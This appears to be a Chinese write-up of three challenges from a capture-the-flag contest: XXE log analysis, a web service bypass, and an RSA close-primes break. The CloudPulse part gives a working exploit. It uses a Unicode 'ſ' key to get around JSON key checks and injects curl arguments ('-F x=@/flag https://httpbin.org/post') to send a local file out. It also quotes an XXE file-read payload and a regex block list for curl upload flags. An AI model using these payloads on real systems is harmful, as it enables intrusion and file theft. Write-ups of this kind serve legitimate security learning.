数字中国创新大赛网络安全方向个人赛 Write Up

日志分析 攻击者先使用自动化扫描工具遍历目录,这些请求全部返回404,说明这部分只是前置扫描,没有真正成功利用。关键会话来自192.168.10.84,13:19:36先访问/login.html,13:19:37立刻请求/register.php,最关键的是register.php的参数里带了一个

日志分析

攻击者先使用自动化扫描工具遍历目录,这些请求全部返回404,说明这部分只是前置扫描,没有真正成功利用。关键会话来自192.168.10.8413:19:36先访问/login.html13:19:37立刻请求/register.php,最关键的是register.php的参数里带了一个XML:

<!DOCTYPE test [
          <!ENTITY xxe SYSTEM "file:///flag">
]>
<userinfo>
<user>
<username>&xxe;</username>
<password>123</password>
</user>
</userinfo>

这就是标准 XXE:

  • <!ENTITY xxe SYSTEM "...">定义外部实体

  • &xxe;<username>中被展开

  • 服务端解析XML时会读取本地文件

所以漏洞点是:

/register.php支持用户传入XML格式数据,并且服务端在解析时没有禁用外部实体,导致XXE任意文件读取。

第一次直接读的是:file:///flag,后面开始读一串伪装成文件名的内容。

这些都是Base64片段,拼接得到:ZmxhZ3s4Y2IyNDlkMC04MjViLTc0MTktODQ1Yi0xZjI5ZTAwZDUzZjR9,然后进行解码得到flag。

FLAG:flag{8cb249d0-825b-7419-845b-1f29e00d53f4}

CloudPulse

页面只有一个输入框,提交到/api/probe,看起来只是让用户输入一个URL去探测目标网站。

从main.py可以看到前端逻辑:

def _cf():
    return ''.join(chr(c) for c in [111, 112, 115])

def _sv():
    return ''.join(chr(c) for c in [0x68, 0x74, 0x74, 0x70, 0x63, 0x68, 0x65, 0x63, 0x6b])

_CTRL = _cf()
_SAFE = _sv()
@app.route("/")
def home():
    return render_template("dashboard.html")

@app.route("/api/probe", methods=["POST"])
def probe_endpoint():
    if request.content_type != "application/json":
        return jsonify({"status": "error", "message": "Content-Type must be application/json"}), 400

    try:
        body = request.get_json(force=True)
    except Exception:
        return jsonify({"status": "error", "message": "Invalid JSON payload"}), 400

    if not isinstance(body, dict):
        return jsonify({"status": "error", "message": "Expected JSON object"}), 400

    normalized = _sanitize_payload(body)

    target = normalized.get("target")
    valid, err = sanitize_url(target)
    if not valid:
        return jsonify({"status": "error", "message": err}), 400

    normalized[_CTRL] = _SAFE
    normalized["target"] = target

    return forward_to_backend(normalized)

这里有几个重要点:

  1. 用户可控参数是一个JSON对象。

  2. 前端只校验target

  3. 校验规则并不严格,只要求:必须以http://https://开头,长度不超过 200,不能有控制字符,不能有反引号$--

  4. 最关键的是这一句:normalized[_CTRL] = _SAFE,其中CTRL解出来是opsSAFE解出来是httpcheck。也就是说,前端会强行往后端发:{"ops":"httpcheck","target":"..."},这说明设计者想把用户限制在“健康检查”功能里。

继续确认后端除了httpcheck还有没有更危险的功能,查看server.go

switch req.Ops {
	case sa():
		result, err = performHTTPCheck(req.Target)
		if err != nil {
			json.NewEncoder(w).Encode(map[string]string{
				"status": "error",
				"error":  err.Error(),
			})
			return
		}
		json.NewEncoder(w).Encode(map[string]string{
			"status": "ok",
			"result": result,
		})

	case aa():
		result, err = performFetch(req.Target, req.Headers)
		if err != nil {
			json.NewEncoder(w).Encode(map[string]string{
				"status": "error",
				"error":  err.Error(),
			})
			return
		}
		json.NewEncoder(w).Encode(map[string]string{
			"status": "ok",
			"result": result,
		})

	case "exec":
		result, err = performExec(req.Target)
		if err != nil {
			json.NewEncoder(w).Encode(map[string]string{
				"status": "error",
				"error":  err.Error(),
			})
			return
		}
		json.NewEncoder(w).Encode(map[string]string{
			"status": "ok",
			"result": result,
		})

	case "read":
		result, err = performRead(req.Target)
		if err != nil {
			json.NewEncoder(w).Encode(map[string]string{
				"status": "error",
				"error":  err.Error(),
			})
			return
		}
		json.NewEncoder(w).Encode(map[string]string{
			"status": "ok",
			"result": result,
		})

	case "callback":
		result, err = performCallback(req.Target)
		if err != nil {
			json.NewEncoder(w).Encode(map[string]string{
				"status": "error",
				"error":  err.Error(),
			})
			return
		}
		json.NewEncoder(w).Encode(map[string]string{
			"status": "ok",
			"result": result,
		})

	default:
		http.Error(w, `{"error":"unknown operation"}`, http.StatusBadRequest)
	}

这里有多个分支:

  • httpcheck

  • fetch

  • exec

  • read

  • callback

后面三个虽然名字危险,但实现里都是直接禁用的。真正值得打的是fetch

func performFetch(target string, customHeaders string) (string, error) {
	if err := validateTarget(target); err != nil {
		return "", err
	}

	if blockedArgs.MatchString(target) {
		return "", fmt.Errorf("blocked: suspicious pattern detected")
	}
	if blockedArgs.MatchString(customHeaders) {
		return "", fmt.Errorf("blocked: suspicious header pattern")
	}

	args := []string{
		"-s",
		"-m", "5",
		"--max-filesize", "102400",
	}

	if customHeaders != "" {
		headerList := strings.Split(customHeaders, "\n")
		for _, h := range headerList {
			h = strings.TrimSpace(h)
			if h != "" {
				args = append(args, "-H", h)
			}
		}
	}

	targetParts := strings.Fields(target)
	args = append(args, targetParts...)

	cmd := exec.Command("curl", args...)
	output, err := cmd.CombinedOutput()
	if err != nil {
		return "", fmt.Errorf("fetch error: %v - %s", err, string(output))
	}

	result := string(output)
	if len(result) > 4096 {
		result = result[:4096] + "\n...[truncated]"
	}

	return result, nil
}

本来target应该是一个整体URL,但它被strings.Fields按空格拆开了。这等于把用户输入的target直接扩展成多个curl参数。这就不是请求某个URL了,而是用户可以往curl命令后面继续塞参数。所以此时正确的目标就变成:

  • 先想办法进入fetch

  • 再利用curl参数注入读出/flag

func performHTTPCheck(target string) (string, error) {
	client := &http.Client{
		Timeout: 5 * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			if len(via) >= 3 {
				return fmt.Errorf("too many redirects")
			}
			return nil
		},
	}

	resp, err := client.Head(target)
	if err != nil {
		return "", fmt.Errorf("connection failed: %v", err)
	}
	defer resp.Body.Close()

	return fmt.Sprintf("Status: %d %s\nServer: %s\nContent-Type: %s",
		resp.StatusCode,
		http.StatusText(resp.StatusCode),
		resp.Header.Get("Server"),
		resp.Header.Get("Content-Type")), nil
}

由于httpcheck的实现只是:resp, err := client.Head(target)。它只发HEAD请求,然后返回:return fmt.Sprintf("Status: %d %s\nServer: %s\nContent-Type: %s", ...),也就是说它只给:状态码、ServerContent-Type,而不会返回正文内容。

所以即使能探测到本地某个接口存在,也不能直接把/flag文件内容读出来。

继续看前端清洗键名的逻辑:

def _normalize_key(k):
    if not isinstance(k, str):
        return str(k)
    return getattr(k, chr(108) + chr(111) + chr(119) + chr(101) + chr(114))()

这段混淆后其实就是:return k.lower(),也就是说前端把所有JSON键名做了一个lower()。正常情况下,如果我们传:{"ops":"fetch"},前端最后会覆盖成:{"ops":"httpcheck"},所以直接传ops没用。但这里有个Unicode细节可以利用。我们可以构造一个看起来像ops、但又不是普通ops的键名:opſ最后一个字符不是普通的小写s,而是长s:ſ (U+017F)

因为它在不同语言/库里的大小写处理不一致:

  1. 在Python前端里,"opſ".lower()还是"opſ",不会变成"ops"

  2. 但Go侧处理JSON到结构体字段时,会把它当作和Ops足够接近,最终落进req.Ops

于是我们可以同时传两个键:

{
  "ops": "noop",
  "opſ": "fetch",
  "target": "http://example.com"
}

前端处理后会变成:

{
  "ops": "httpcheck",
  "opſ": "fetch",
  "target": "http://example.com"
}

而Go最终会把opſ的值吃到req.Ops里,于是后端进入fetch分支。

进入fetch后,下一步不是执行命令,而是想办法让curl帮我们读文件并把内容带回来。

先看限制条件。前端对target的过滤并没有禁止空格,只禁止了:控制字符、`$--,后端又额外禁掉了一些敏感参数:

blockedArgs = regexp.MustCompile(`(?i)(-o\s|--output|-O\s|--remote-name|-T\s|--upload-file|file://)`)

它主要拦的是:

  • -o

  • --output

  • -O

  • --remote-name

  • -T

  • --upload-file

  • file://

这说明常见读文件打法,例如:

  • file:///flag

  • -T /flag

  • --upload-file /flag

都被封了。

所以这里要换一种curl自带、但没被拦住的读文件方式:-F x=@/flag。这是curl的表单上传语法,表示把本地文件/flag作为multipart表单字段x上传。

https://httpbin.org

请求:curl -F x=@/flag https://httpbin.org/post

返回JSON中会包含:

"files": {

  "x": "这里就是 /flag 的内容"

}

这意味着只要后端能出网,httpbin就会替我们把/flag的内容回显回来。

再结合参数注入,我们把target写成:http://127.0.0.1:8080/health -F x=@/flag https://httpbin.org/post

因为target必须以http://https://开头,前端才会放行。所以先给它一个正常URL起头,后面再跟注入参数。

exp:

import requests
url = "http://web-ecdad2621c.adworld.xctf.org.cn:80/api/probe"
body = (
    '{"ops":"noop",'
    '"op\\u017f":"fetch",'
    '"target":"http://127.0.0.1:8080/health -F x=@/flag https://httpbin.org/post"}'
)
r = requests.post(
    url,
    data=body.encode("utf-8"),
    headers={"Content-Type": "application/json"},
    timeout=20,
)
print(r.text)

FLAG:flag{cTMhMllDol82pMd8WR91p3QpaxQd2t5S}

近在咫尺

观察生成p和q的代码:

p = getPrime(256)
q = next_prime(p + 0x2B67)

这里的致命弱点在于:pq的值太接近了。

qp+0x2B67后的下一个素数,而0x2B67转换为十进制只有11111。对于一个256位的超大素数来说,11111的差距微乎其微。

因为pq非常接近,所以n=p×qn = p \times q的值非常接近p2p^2。这意味着:pnp \approx \sqrt{n}

我们只需要计算n的整数平方根,然后再稍微向下遍历,就能在几千次循环内(计算量极小)找到能够整除np

exp:

import math

def long_to_bytes(n):
    """Convert an integer to a byte string"""
    if n == 0:
        return b''
    byte_length = (n.bit_length() + 7) // 8
    return n.to_bytes(byte_length, byteorder='big')

n = 7454111713139927876232259713706936303573714116794442817310765079983011293981256300530816851723410800872539085466352319868113846516768058243142635125770529
e = 65537
c = 1191874816085381862692067665830902958697213015025315099374573203104750973227774012845742587255524802454807814934088221526718763801469140835525899521771937

print("[*] 正在通过费马分解法寻找 p 和 q...")

# 1. 计算 n 的整数平方根
s = math.isqrt(n)

# 2. 从平方根向下遍历,寻找能整除 n 的 p
p = s
while n % p != 0:
    p -= 1

q = n // p

print(f"[+] 找到 p = {p}")
print(f"[+] 找到 q = {q}")

# 3. 计算欧拉函数 phi(n)
phi = (p - 1) * (q - 1)

# 4. 计算私钥 d
# 注意:pow(e, -1, phi) 是 Python 3.8+ 支持的求逆元写法
d = pow(e, -1, phi)

# 5. 解密密文 c
m = pow(c, d, n)

# 6. 将整数转为字节串即可得到 flag
flag = long_to_bytes(m)
print(f"\n[+] Flag: {flag.decode(errors='ignore')}")

FLAG:flag{fermat_can_break_close_primes}

网络安全漏洞响应平台(SRC)及众测平台汇总 2026-04-10
数字中国创新大赛网络安全方向团队赛 Write Up 2026-04-12